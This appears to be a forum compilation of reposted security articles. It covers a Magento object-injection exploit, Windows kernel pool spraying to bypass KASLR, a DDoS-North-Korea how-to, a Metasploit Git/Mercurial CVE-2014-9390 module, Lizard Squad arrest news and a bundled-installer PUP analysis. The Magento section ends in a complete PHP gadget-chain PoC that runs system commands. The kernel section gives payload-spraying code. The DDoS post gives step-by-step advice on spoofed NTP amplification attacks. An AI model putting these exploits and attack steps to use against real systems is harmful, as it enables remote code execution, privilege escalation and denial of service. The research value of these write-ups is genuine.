469 470 471 472 473 474[/TD] [TD=class: code]// lib/Varien/Db/Adapter/Pdo/Mysql.php protected function _prepareQuery(&$sql, &$bind = array()) { ... // Special query hook if ($this->_queryHook) { $object = $this->_queryHook['object']; $method = $this->_queryHook['method']; $object->$method($sql, $bind); } } [/TD] [/TR] [/TABLE] From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code. [TABLE] [TR] [TD=class: gutter]39 40 41 42 43 44 45[/TD] [TD=class: code]// lib/Varien/Filter/Template/Simple.php public function filter($value) { return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e', '$this->getData("$1")', $value); } [/TD] [/TR] [/TABLE] In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax. 4. Exploit Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]{${system(id)}}RIPS[/TD] [/TR] [/TABLE] We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]TRUNCATE TABLE {${system(id)}}RIPS[/TD] [/TR] [/TABLE] When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]$this->getData("{${system(id)}}")[/TD] [/TR] [/TABLE] In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands. PoC: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43[/TD] [TD=class: code]class Zend_Db_Profiler { protected $_enabled = false; } class Varien_Filter_Template_Simple { protected $_startTag; protected $_endTag; public function __construct() { $this->_startTag = 'TRUNCATE TABLE '; $this->_endTag = 'RIPS'; } } class Varien_Db_Adapter_Pdo_Mysql { protected $_transactionLevel = 0; protected $_queryHook; protected $_profiler; public function __construct() { $this->_queryHook = array(); $this->_queryHook['object'] = new Varien_Filter_Template_Simple; $this->_queryHook['method'] = 'filter'; $this->_profiler = new Zend_Db_Profiler; } } class Varien_Cache_Backend_Database { protected $_options; protected $_adapter; public function __construct() { $this->_adapter = new Varien_Db_Adapter_Pdo_Mysql; $this->_options['data_table'] = '{${system(id)}}RIPS'; $this->_options['store_data'] = true; } } class Varien_File_Uploader_Image { public $uploader; public function __construct() { $this->uploader = new Varien_Cache_Backend_Database; } } $obj = new Varien_File_Uploader_Image; $b64 = base64_encode(serialize($obj)); $secret = 'Sat, 1 Nov 2014 21:08:46 +0000'; $hash = md5($b64 . $secret); echo '?ga='.$b64.'&h='.$hash;[/TD] [/TR] [/TABLE] The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky. Sursa: https://websec.wordpress.com/2014/12/08/magento-1-9-0-1-poi/

[h=2]Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool[/h] [h=2]The State of Kernel Exploitation[/h] The typical write-what-where kernel-mode exploit technique usually relies on either modifying some key kernel-mode data structure, which is easy to do locally on Windows thanks to poor Kernel Address Space Layout Randomization (KASLR), or on redirecting execution to a controlled user-mode address, which will now run with Ring 0 rights. Relying on a user-mode address is an easy way not to worry about the kernel address space, and to have full control of the code within a process. Editing the tagWND structure or the HAL Dispatch Table are two very common vectors, as are many others. However, with Supervisor Mode Execution Prevention (SMEP), also called Intel OS Guard, this technique is no longer reliable — a direct user-mode address cannot be used, and other techniques must be employed instead. One possibility is to disable SMEP Enforcement in the CR4 register through Return-Oriented Programming, or ROP, if stack control is possible. This has been covered in a few papers and presentations. Another related possibility is to disable SMEP Enforcement on a per-page basis — taking a user-mode page and marking it as a kernel page by making the required changes in the page level translation mapping entries. This has also been talked in at least one presentation, and, if accepted, a future SyScan 2015 talk from a friend of mine will also cover this technique. Additionally, if accepted, an alternate version of the technique will be presented at INFILTRATE 2015, by yours truly. Finally, a theoretical possibility is being able to transfer execution (through a pointer, callback table, etc) to an existing function that disables SMEP (and thus bypassing KASLR), but then somehow continues to give the attacker control without ROP — nobody has yet found such a function. This would be a type of Jump-Oriented Programming (JOP) attack. Nonetheless, all of these techniques continue to leverage a user-mode address as the main payload (nothing wrong with that). However, one must also consider the possibility to use a kernel-mode address for the attack, which means that no ROP and/or PTE hacking is needed to disable SMEP in the first place. Obviously, this means that the function to perform the malicious payload’s work already exists in the kernel, or we have a way of bringing it into the kernel. In the case of a stack/pool overflow, this payload probably already comes with the attack, and the usual tricks have been employed there in order to get code execution. Such attacks are particularly common in true ‘remote-remote’ attacks. But what of write-what-where bugs, usually the domain of the local (or remote-local) attacker? If we have user-mode code execution available to us, to execute the write-what-where, we can obviously continue using the write-what-where exploit to repeatedly fill an address of our choice with the payload data. This presents a few problems however: The write-what-where may be unreliable, or corrupt adjacent data. This makes it hard to use it to ‘fill’ memory with code. It may not be obvious where to write the code — having to deal with KASLR as well as Kernel NX. On Windows, this is not terribly hard, but it should be recognized as a barrier nonetheless. This blog post introduces what I believe to be two new techniques, namely a generic kernel-mode heap spraying technique which results in executable memory, followed by a generic kernel-mode heap address discovery technique, bypassing KASLR. [h=2]Big Pool[/h] Experts of the Windows heap manager (called the pool) know that there are two different allocators (three, if you’re being pedantic): the regular pool allocator (which can use lookaside lists that work slightly differently than regular pool allocations), and the big/large page pool allocator. The regular pool is used for any allocations that fit within a page, so either 4080 bytes on x86 (8 bytes for the pool header, and 8 bytes used for the initial free block), or 4064 bytes on x64 (16 bytes for the pool header, 16 bytes used for the initial free block). The tracking, mapping, and accounting of such allocations is handled as part of the regular slush of kernel-mode memory that the pool manager owns, and the pool headers link everything together. Big pool allocations, on the other hand, take up one or more pages. They’re used for anything over the sizes above, as well as when the CacheAligned type of pool memory is used, regardless of the requested allocation size — there’s no way to easily guarantee cache alignment without dedicating a whole page to an allocation. Because there’s no room for a header, these pages are tracked in a separate “Big Pool Tracking Table” (nt!PoolBigPageTable), and the pool tags, which are used to identify the owner of an allocation, are also not present in the header (since there isn’t one!), but rather in the table as well. Each entry in this table is represented by a POOL_TRACKER_BIG_PAGES structure, documented in the public symbols: [TABLE] [TR] [TD=class: line_numbers]1 2 3 4 5 [/TD] [TD=class: code]lkd> dt nt!_POOL_TRACKER_BIG_PAGES +0x000 Va : Ptr32 Void +0x004 Key : Uint4B +0x008 PoolType : Uint4B +0x00c NumberOfBytes : Uint4B[/TD] [/TR] [/TABLE] One thing to be aware of is that the Virtual Address (Va) is OR’ed with a bit to indicate if the allocation is freed or allocated — in other words, you may have duplicate Va’s, some freed, and at most one allocated. The following simple WinDBG script will dump all the big pool allocations for you: [TABLE] [TR] [TD=class: line_numbers]1 2 3 4 5 6 7 8 9 10 [/TD] [TD=class: code]r? @$t0 = (nt!_POOL_TRACKER_BIG_PAGES*)@@(poi(nt!PoolBigPageTable)) r? @$t1 = *(int*)@@(nt!PoolBigPageTableSize) / sizeof(nt!_POOL_TRACKER_BIG_PAGES) .for (r @$t2 = 0; @$t2 < @$t1; r? @$t2 = @$t2 + 1) { r? @$t3 = @$t0[@$t2]; .if (@@(@$t3.Va != 1)) { .printf "VA: 0x%p Size: 0x%lx Tag: %c%c%c%c Freed: %d Paged: %d CacheAligned: %d\n", @@((int)@$t3.Va & ~1), @@(@$t3.NumberOfBytes), @@(@$t3.Key >> 0 & 0xFF), @@(@$t3.Key >> 8 & 0xFF), @@(@$t3.Key >> 16 & 0xFF), @@(@$t3.Key >> 24 & 0xFF), @@((int)@$t3.Va & 1), @@(@$t3.PoolType & 1), @@(@$t3.PoolType & 4) == 4 } }[/TD] [/TR] [/TABLE] Why are big pool allocations interesting? Unlike small pool allocations, which can share pages, and are hard to track for debugging purposes (without dumping the entire pool slush), big pool allocations are easy to enumerate. So easy, in fact, that the undocumented KASLR-be-damned API NtQuerySystemInformation has an information class specifically designed for dumping big pool allocations. Including not only their size, their tag, and their type (paged or nonpaged), but also their kernel virtual address! As previously presented, this API requires no privileges, and only in Windows 8.1 has it been locked down against low integrity callers (Metro/Sandboxed applications). With the little snippet of code below, you can easily enumerate all big pool allocations: [TABLE] [TR] [TD=class: line_numbers]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 [/TD] [TD=class: code]// // Note: This is poor programming (hardcoding 4MB). // The correct way would be to issue the system call // twice, and use the resultLength of the first call // to dynamically size the buffer to the correct size // bigPoolInfo = RtlAllocateHeap(RtlGetProcessHeap(), 0, 4 * 1024 * 1024); if (bigPoolInfo == NULL) goto Cleanup; res = NtQuerySystemInformation(SystemBigPoolInformation, bigPoolInfo, 4 * 1024 * 1024, &resultLength); if (!NT_SUCCESS(res)) goto Cleanup; printf("TYPE ADDRESS\tBYTES\tTAG\n"); for (i = 0; i < bigPoolInfo->Count; i++) { printf("%s0x%p\t0x%lx\t%c%c%c%c\n", bigPoolInfo->AllocatedInfo[i].NonPaged == 1 ? "Nonpaged " : "Paged ", bigPoolInfo->AllocatedInfo[i].VirtualAddress, bigPoolInfo->AllocatedInfo[i].SizeInBytes, bigPoolInfo->AllocatedInfo[i].Tag[0], bigPoolInfo->AllocatedInfo[i].Tag[1], bigPoolInfo->AllocatedInfo[i].Tag[2], bigPoolInfo->AllocatedInfo[i].Tag[3]); } Cleanup: if (bigPoolInfo != NULL) { RtlFreeHeap(RtlGetProcessHeap(), 0, bigPoolInfo); }[/TD] [/TR] [/TABLE] [h=2]Pool Control[/h] Obviously, it’s quite useful to have all these handy kernel-mode addresses. But what can we do to control their data, and not only be able to read their address? You may be aware of previous techniques where a user-mode attacker allocates a kernel-object (say, an APC Reserve Object), which has a few fields that are user-controlled, and which then has an API to get its kernel-mode address. We’re essentially going to do the same here, but rely on more than just a few fields. Our goal, therefore, is to find a user-mode API that can give us full control over the kernel-mode data of a kernel object, and additionally, to result in a big pool allocation. This isn’t as hard as it sounds: anytime a kernel-mode component allocates over the limits above, a big pool allocation is done instead. Therefore, the exercise reduces itself to finding a user-mode API that can result in a kernel allocation of over 4KB, whose data is controlled. And since Windows XP SP2 and later enforce kernel-mode non-executable memory, the allocation should be executable as well. Two easy examples may popup in your head: Creating a local socket, listening to it, connecting from another thread, accepting the connection, and then issuing a write of > 4KB of socket data, but not reading it. This will result in the Ancillary Function Driver for WinSock (AFD.SYS), also affectionally known as “Another F*cking Driver”, allocating the socket data in kernel-mode memory. Because the Windows network stack functions at DISPATCH_LEVEL (IRQL 2), and paging is not available, AFD will use a nonpaged pool buffer for the allocation. This is great, because until Windows 8, nonpaged pool is executable! Creating a named pipe, and issuing a write of > 4KB of data, but not reading it. This will result in the Named Pipe File System (NPFS.SYS) allocating the pipe data in a nonpaged pool buffer as well (because NPFS performs buffer management at DISPATCH_LEVEL as well). Ultimately, #2 is a lot easier, requiring only a few lines of code, and being much less inconspicuous than using sockets. The important thing you have to know is that NPFS will prefix our buffer with its own internal header, which is called a DATA_ENTRY. Each version of NPFS has a slightly different size (XP- vs 2003+ vs Windows 8+). I’ve found that the cleanest way to handle this, and not to worry about offsets in the final kernel payload, is to internally handle this in the user-mode buffer with the right offsets. And finally, remember that the key here is to have a buffer that’s at least the size of a page, so we can force the big pool allocator. Here’s a little snippet that keeps all this into account and will have the desired effects: [TABLE] [TR] [TD=class: line_numbers]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [/TD] [TD=class: code]UCHAR payLoad[PAGE_SIZE - 0x1C + 44]; // // Fill the first page with 0x41414141, and the next page // with INT3's (simulating our payload). On x86 Windows 7 // the size of a DATA_ENTRY is 28 bytes (0x1C). // RtlFillMemory(payLoad, PAGE_SIZE - 0x1C, 0x41); RtlFillMemory(payLoad + PAGE_SIZE - 0x1C, 44, 0xCC); // // Write the data into the kernel // res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payLoad)); if (res == FALSE) goto Cleanup; res = WriteFile(writePipe, payLoad, sizeof(payLoad), &resultLength, NULL); if (res == FALSE) goto Cleanup; // // extra code goes here... // Cleanup: CloseHandle(writePipe); CloseHandle(readPipe);[/TD] [/TR] [/TABLE] Now all we need to know is that NPFS uses the pool tag ‘NpFr’ for the read data buffers (you can find this out by using the !pool and !poolfind commands in WinDBG). We can then change the earlier KASLR-defeating snippet to hard-code the pool tag and expected allocation size, and we can instantly find the kernel-mode address of our buffer, which will fully match our user-mode buffer. Keep in mind that the “Paged vs. Nonpaged” flag is OR’ed into the virtual address (this is different from the structure in the kernel, which tracks free vs. allocated), so we’ll mask that out, and also make sure you align the size to the pool header alignment (it’s enforced even for big pool allocations). Here’s that snippet, for x86 Windows: [TABLE] [TR] [TD=class: line_numbers]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [/TD] [TD=class: code]// // Based on pooltag.txt, we're looking for the following: // NpFr - npfs.sys - DATA_ENTRY records (r/w buffers) // for (entry = bigPoolInfo->AllocatedInfo; entry < (PSYSTEM_BIGPOOL_ENTRY)bigPoolInfo + bigPoolInfo->Count; entry++) { if ((entry->NonPaged == 1) && (entry->TagUlong == 'rFpN') && (entry->SizeInBytes == ALIGN_UP(PAGE_SIZE + 44, ULONGLONG))) { printf("Kernel payload @ 0x%p\n", (ULONG_PTR)entry->VirtualAddress & ~1 + PAGE_SIZE); break; } }[/TD] [/TR] [/TABLE] And here’s the proof in WinDBG: Voila! Package this into a simple “kmalloc” helper function, and now you too, can allocate executable, kernel-mode memory, at a known address! How big can these allocations get? I’ve gone up to 128MB without a problem, but this being non-paged pool, make sure you have the RAM to handle it. Here’s a link to some sample code which implements exactly this functionality. An additional benefit of this technique is that not only can you get the virtual address of your allocation, you can even get the physical address! Indeed, as part of the undocumented Superfetch API that I first discovered and implemented in my meminfo tool, which has now been supplanted by the RAMMap utility from SysInternals, the memory manager will happily return the pool tag, virtual address, and physical address of our allocation. Here’s a screenshot of RAMMap showing another payload allocation and its corresponding physical address (note that the 0x1000 difference is since the command-line PoC biases the pointer, as you saw in the code). [h=2]Next Steps[/h] Now, for full disclosure, there are a few additional caveats that make this technique a bit less sexy in 2015 — and why I chose to talk about it today, and not 8 years ago when I first stumbled upon it: 1) Starting with Windows 8, nonpaged pool allocations are now non-executable. This means that while this trick still lets you spray the pool, your code will require some sort of NX bypass first. So you’ve gone from bypassing SMEP to bypassing kernel-mode NX. 2) In Windows 8.1, the API to get the big pool entries and their addresses is no longer usable by low-integrity callers. This significantly reduces the usefulness in local-remote attacks, since those are usually launched through sandboxed applications (Flash, IE, Chrome, etc) and/or Metro containers. Of course, there are some ways around this — a sandbox escape is often used in local-remote attacks anyway, so #2 can become moot. As for #1, some astute researchers have already figured out that NX was not fully deployed — for example, Session Pool allocations, are STILL executable on newer versions of Windows, but only on x86 (32-bit). I leave it as an exercise to readers to figure out how this technique can be extended to leverage that (hint: there’s a ‘Big Session Pool’). But what about a modern, 64-bit version of Windows, say even Windows 10? Well, this technique appears to be mostly dead on such systems — or does it? Is everything truly NX in the kernel, or are there still some sneaky ways to get some executable memory, and to get its address? I’ll be sure to blog about it once Windows 14 is out the door in 2022. © Alex Ionescu Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool « Alex Ionescu’s Blog

[h=3]Anybody can take North Korea offline[/h] By Robert Graham A couple days after the FBI blamed the Sony hack on North Korea, that country went offline. Many suspected the U.S. government, but the reality is that anybody can do it -- even you. I mention this because of a Vox.com story that claims "There is no way that Anonymous pulled off this scale of an attack on North Korea". That's laughably wrong, overestimating the scale of North Korea's Internet connection, and underestimating the scale of Anonymous's capabilities. North Korea has a roughly ~10-gbps link to the Internet for it's IP addresses. That's only about ten times what Google fiber provides. In other words, 10 American households can have as much bandwidth as the entire country. Anonymous's capabilities exceed this, scaling past 1-terabit/second, or a hundred times more than needed to take down North Korea. Attacks are made easier due to amplifiers on the Internet, which can increase the level of traffic by about 100 times. Thus, in order to overload a 10-gbps link of your target, you only need a 100-mbps link yourself. This is well within the capabilities of a single person. Such attacks are difficult to do from your home, because your network connection is asymmetric. A 100-mbps from Comcast refers to the download speed -- it's only about 20-mbps in the other direction. You'll probably need to use web host services that sell high upload speed. You can cheaply get a 100-mbps or even 1-gbps upload connection for about $30 per month in bitcoin. You'll need to find one that doesn't do egress filtering, because you'll be spoofing North Korea's addresses, but that's rarely a problem. You need some familiarity with command-line tools. In this age of iPads, the command-line seems like Dark Magic to some people, but it's something all computer geeks use regularly. Thus, to do these attacks, you'll need some basic geek skills, but they are something that can be acquired in a week. How I would do it is roughly shown by the following command-line command. This uses some software I wrote for port-scanning, but as a side effect, it can also be used for these sorts of "amplified DDoS" attacks. What we see in this command-line is the following: use spoofing as part of the attack targeting the North Korean IP addresses around 175.45.176.0 bouncing the packets off a list of amplifiers building a custom NTP monlist packet that causes amplification sending to port 123 (NTP) sending at a rate of one million packets/second repeating the attack infinitely (never stopping) For this attack to work, you'll need a list of amplifiers. You can find these lists in hacker forums, or you can just find the amplifiers yourself using masscan (after all, that's what port scanners are supposed to do). I use masscan in my example because it's my tool, so it's how I'd do it, but no special tool is needed. You can write you own code to do it pretty easily, and there are tons of other tools that can be configured to do this. I stress this because people have this belief in the power of cyberweapons, that powerful effects like disabling a country can't happen without powerful weapons. This belief is nonsense. It's unknown if Anonymous hackers actually DDoSed North Korea, like the "Lizard Square" that claims responsibility, but it's easily within their capabilities. What's actually astonishing is that since millions of people can so easily DDoS North Korea why it doesn't happen more often. Note: This only takes down one aspect of the North Korean Internet. Satellite links, other telephony links, cell phones, and the ".kp" domain names would still be unaffected. It would take some skill to attack all those possibilities, but it appears that the hackers only did the simple DDoS. Sursa: Errata Security: Anybody can take North Korea offline

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[h=1]12 Days of HaXmas: Exploiting CVE-2014-9390 in Git and Mercurial[/h]Posted by jhart in Metasploit on Jan 1, 2015 2:18:22 PM This post is the eighth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014. A week or two back, Mercurial inventor Matt Mackall found what ended up being filed as CVE-2014-9390. While the folks behind CVE are still publishing the final details, Git clients (before versions 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial clients (before version 3.2.3) contained three vulnerabilities that allowed malicious Git or Mercurial repositories to execute arbitrary code on vulnerable clients under certain circumstances. To understand these vulnerabilities and their impact, you must first understand a few basic things about Git and Mercurial clients. Under the hood, a Git or Mercurial repository on disk is really just a directory. In this directory is another specially named directory (.git for Git, .hg for Mercurial) that contains all of the configuration files and metadata that makes up the repository. Everything else outside of this special directory is just a pile of files and directories, often called the working directory, written to disk based on the previous mentioned metadata. So, in a way, if you had a Git repository called Test, Test/.hg is the repository and everything else under the Test directory is simply a working copy of of the files contained in the repository at a particular point in time. An nearly identical concept also exists in Mercurial. Here is a quick example of a simple Git repository that contains has no files committed to it. As you can see, even this empty repository has a fair amount of metadata and a number of configuration files: $ git init foo $ tree -a foo foo ??? .git ??? branches ??? config ??? description ??? HEAD ??? hooks ? ??? applypatch-msg.sample ? ??? commit-msg.sample ? ??? post-update.sample ? ??? pre-applypatch.sample ? ??? pre-commit.sample ? ??? prepare-commit-msg.sample ? ??? pre-rebase.sample ? ??? update.sample ??? info ? ??? exclude ??? objects ? ??? info ? ??? pack ??? refs ??? heads ??? tags If you then add a single file to it called test.txt, you can see how the directory starts to change as the raw objects are added to the .git/objects directory: $ cd foo $ date > test.txt && git add test.txt && git commit -m "Add test.txt" -a [master (root-commit) fb19d8e] Add test.txt 1 file changed, 1 insertion(+) create mode 100644 test.txt $ git log commit fb19d8e1e5db83b4b11bbd7ed91e1120980a38e0 Author: Jon Hart Date: Wed Dec 31 09:08:41 2014 -0800 Add test.txt $ tree -a . . ??? .git ? ??? branches ? ??? COMMIT_EDITMSG ? ??? config ? ??? description ? ??? HEAD ? ??? hooks ? ? ??? applypatch-msg.sample ? ? ??? commit-msg.sample ? ? ??? post-update.sample ? ? ??? pre-applypatch.sample ? ? ??? pre-commit.sample ? ? ??? prepare-commit-msg.sample ? ? ??? pre-rebase.sample ? ? ??? update.sample ? ??? index ? ??? info ? ? ??? exclude ? ??? logs ? ? ??? HEAD ? ? ??? refs ? ? ??? heads ? ? ??? master ? ??? objects ? ? ??? 1c ? ? ? ??? 8fe13acf2178ea5130480625eef83a59497cb0 ? ? ??? 4b ? ? ? ??? 825dc642cb6eb9a060e54bf8d69288fbee4904 ? ? ??? e5 ? ? ? ??? 58a44cf7fca31e7ae5f15e370e9a35bd1620f7 ? ? ??? fb ? ? ? ??? 19d8e1e5db83b4b11bbd7ed91e1120980a38e0 ? ? ??? info ? ? ??? pack ? ??? refs ? ??? heads ? ? ??? master ? ??? tags ??? test.txt Similarly, for Mercurial: $ hg init blah $ tree -a blah blah ??? .hg ??? 00changelog.i ??? requires ??? store 2 directories, 2 files $ cd blah $ date > test.txt && hg add test.txt && hg commit -m "Add test.txt" $ hg log changeset: 0:ea7dac4a11f0 tag: tip user: Jon Hart date: Wed Dec 31 09:25:07 2014 -0800 summary: Add test.txt $ tree -a . . ??? .hg ? ??? 00changelog.i ? ??? cache ? ? ??? branch2-served ? ??? dirstate ? ??? last-message.txt ? ??? requires ? ??? store ? ? ??? 00changelog.i ? ? ??? 00manifest.i ? ? ??? data ? ? ? ??? test.txt.i ? ? ??? fncache ? ? ??? phaseroots ? ? ??? undo ? ? ??? undo.phaseroots ? ??? undo.bookmarks ? ??? undo.branch ? ??? undo.desc ? ??? undo.dirstate ??? test.txt These directories (.git, .hg) are created by a client when the repository is initially created or cloned. The contents of these directories can be modified by users to, for example, configure repository options (.git/config for Git, .hg/hgrc for Mercurial), and are routinely modified by Git and Mercurial clients as part of normal operations on the repository. Simplified, the .hg and .git directories contain everything necessary for the repository to operate, and everything outside of these directories is considered is considered part of the working directory, namely the contents of the repository itself (test.txt in my simplified examples). Want to learn more? Git Basics and Understanding Mercurial are great resources. During routine repository operations such as cloning, updating, committing, etc, the repository working directory is updated to reflect the current state of the repository. Using the examples from above, upon cloning either of these repositories, the local clone of the repository would be updated to reflect the current state of test.txt. This is where the trouble begins. Both Git and Mercurial clients have had code for a long time that ensures that no commits are made to anything in the .git or .hg directories. Because these directories control client side behavior of a Git or Mercurial repository, if they were not protected, a Git or Mercurial server could potentially manipulate the contents of certain sensitive files in the repository that could cause unexpected behavior when a client performs certain operations on the repository. Unfortunately these sensitive directories were not properly protected in all cases. Specifically: On operating systems which have case-insensitive file systems, like Windows and OS X, Git clients (before versions 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) can be convinced to retrieve and overwrite sensitive configuration files in the .git directory which can allow arbitrary code execution if a vulnerable client can be convinced to perform certain actions (for example, a checkout) against a malicious Git repository. While a commit to a file under .git (all lower case) would be blocked, a commit to .giT (partially lower case) would not be blocked and would result in .git being modified because .git is equivalent to .giT on a case-insensitive file system. These same Git clients as well as Mercurial versions before 3.2.3 have a nearly identical vulnerability that affects HFS+ file systems (OS X and Windows) where certain Unicode codepoints are ignored in file names. Mercurial before 3.2.3 on Windows has a nearly identical vulnerability on Windows only where MS-DOS file "short names" or 8.3 formats are possible. Basic exploitation of the first vulnerability is fairly simple to do with basic Git commands as I described in #4435, and the commits that fix the second and third vulnerabilities show simple examples of how to exploit it. But basic exploitation is boring so in #4440 I've spiced things up a bit. As currently written, this module exploits the first of these three vulnerabilities by launching an HTTP server designed to simulate a Git repository accessed over HTTP, which is one of the most common ways to interact with Git. Upon cloning this repository, vulnerable clients will be convinced to overwrite Git hooks, which are shell scripts that get executed when certain operations happen (committing, updating, checkout, etc). By default, this module overwrites the .git/hooks/post-checkout script which is executed upon completion of a checkout, which conveniently happens at clone time so the simple act of cloning a repository can allow arbitrary code execution on the Git client. It goes a little bit further and provides some simplistic HTML in the hopes of luring in potentially vulnerable clients: And, if you clone it, it only looks mildly suspicious: $ git clone http://10.0.1.18:8080/ldf.git Cloning into 'ldf'... $ cd ldf $ git log commit 858597e39d8a5d8e3511d404bcb210948dc835ae Author: Deborah Phillips Date: Thu Apr 29 17:44:02 2004 -0500 Initial commit to open git repository for nf.tygzxwf.xnk0lycynl.org! The module has the beginnings of support for the second and third vulnerabilities, so this particular #haxmas gift may need some work by you, the Metasploit community. Enjoy! Sursa: https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial

Two alleged members of Lizard Squad arrested following Xbox Live/PSN Christmas attacks Hayden Dingman @haydencd Did you spend Christmas mildly annoyed because you bought a new console, only to find that Xbox Live/ PlayStation Network had been downed by a "nefarious" group known as Lizard Squad? Yes, I know it sounds like a bad episode of 24, but at least now you can revel in a bit of Schadenfreude: Two alleged members have been arrested this week. Lizard Squad came to prominence in 2014 after taking down (or at least claiming to take down) the online presences of numerous gaming companies, including Blizzard, Activision, and Sony. Oh, and perpetrating a bomb threat against a Sony executive in August. Its biggest (or at least most noticeable) moment came just this past week though, when Lizard Squad launched simultaneous DDOS attacks on Xbox Live and PlayStation Network. On Christmas. And then offered to sell its own DDoS tool to others. "Flying too close to the sun" comes to mind. If this week is anything to go by, Lizard Squad is quickly unraveling. The first arrest was reported by Brian Krebs, who writes about security matters on his website Krebs On Security. On Monday he posted a bail document pertaining to one Vinnie Omari, a 22-year-old from Britain who is allegedly part of Lizard Squad. Omari later told The Daily Dot, "they took everything." The police raided Omari's home on Monday and took his computers for evidence, though Omari is out on bail until his hearing in March. To top it off, Finland's National Bureau of Investigation (NBI) picked up another alleged member of Lizard Squad later in the week. The 17-year-old, known as "Ryan," acted as spokesperson for the group in the aftermath of the Christmas attacks. Unlike Omari, Lizard Squad told The Washington Post that Ryan remains in jail. Sursa: Two alleged members of Lizard Squad arrested following Xbox Live/PSN Christmas attacks | PCWorld

Potentially Unwanted Program borrows tricks from malware authors December 31, 2014 | BY Jérôme Segura These days it is getting harder and harder to download a program from its official source, in its original format, without additional pieces of software bundled to it. Companies specializing in so-called ‘download assistants’ or ‘download managers’ claim that they: Provide a value added service to users by suggesting additional programs tailored to the users’ needs. Offer a way for software manufacturers to monetize their free applications. Let’s have a look for ourselves by checking an installer for the Adobe Flash Player. The details are as follows: Name: adobe_flash_setup.exe Size: 809.0 KB MD5: d549def7dd9006954839a187304e3835 imphash: 884310b1928934402ea6fec1dbd3cf5e Out of the box The first thing we noticed was that the program behaves differently whether it is launched on a real physical machine or a Virtual Machine, as described in the diagram below: In a VM such as VirtualBox, the installer skips all the bundled offers and goes straight for the Flash Player. By reverse engineering the installer, we can confirm the detection of Virtual Machines: “VirtualMachine mode – remote offers disabled” There might be a few reasons for this: To avoid unnecessary impressions and installs on ‘fake’ systems that would skew metrics. To appear as a ‘clean’ installer when installed on automated sandboxes or by hand from security researchers. Anti-vm behavior does not necessarily mean that the application is malicious, but it is something that many malware authors use. Time stamp The program was compiled with a date of June 19th 1992, long before PUPs even existed: By using an older time stamp, the program looks less suspicious and it is a technique that we observe with certain malware samples. [Edit] @Hexacorn commented that this is actually a bug with the Delphi programming language. Digital footprint The file was digitally signed by Fried Cookie Ltd. A digital certificate is a trust of authenticity but can be abused and certainly can be used to ‘boost’ a program’s credibility. The certificate details show that said company is located in Tel Aviv, Israel and a VirusTotal scan hints at a connection with InstallCore, a “digital content delivery platform”. The link between thetwo companies can be established from this blog statement: In early 2013, Fried Cookie proudly announced a formal partnership with installCore. We are now both under the ironSource umbrella of products. The offers The first offer cannot be opted out from, you must accept it in order to keep going: This mandatory offer installs the Vosteran Browser, a Chromium-based browser created by Fried Cookie Ltd. Most searches to download the Vosteran Browser on its own return results for how to remove it instead: Finally, Vosteran’s privacy policy states that: We may also use a third party tracking service that uses cookies (analytics) to track aggregate non-Personal Identifiable Information regarding our Software and/or Services. Please note that We have no control over third parties privacy policies. This essentially means that Vosteran Search cannot be held liable for abuses committed by third parties. There are also various other offers bundled in this installer, courtesy of “distributer” called Entarion Ltd., with an “address” conveniently located in Cyprus, well-known as a safe haven for offshore companies. d.updateweb.org softwareportals@gmail.com Stratigou Spyrou Stathopoulou, 14B, 3066, Limassol, Cyprus Note that the domain is using Privacy Protect to hide the registrant’s details. However, a search on the Gmail address shows that there is another domain seemingly belonging to an individual in St Petersburg, Russia. It doesn’t take too long to find several reports of unwanted pop-ups aggressively pushing bogus registry cleaners many of which are funneled through securedshopgate.com a well hidden portal with an SSL certificate tied to an address in Cyprus, once again: Installing the Flash Player from this installer is not an easy task due to the large number of promoted software: It could be argued that this particular example is not the norm and that most download managers do explicitly let the user choose or decline additional pieces of software that have been vetted as legitimate. However, opposite examples do exist as well and do cause a lot of headaches and large amounts of money spent on programs whose effectiveness can be questioned. To quickly remove any trace from these Potentially Unwanted Programs (PUPs), you can download and run Malwarebytes Anti-Malware: Malwarebytes’ criteria 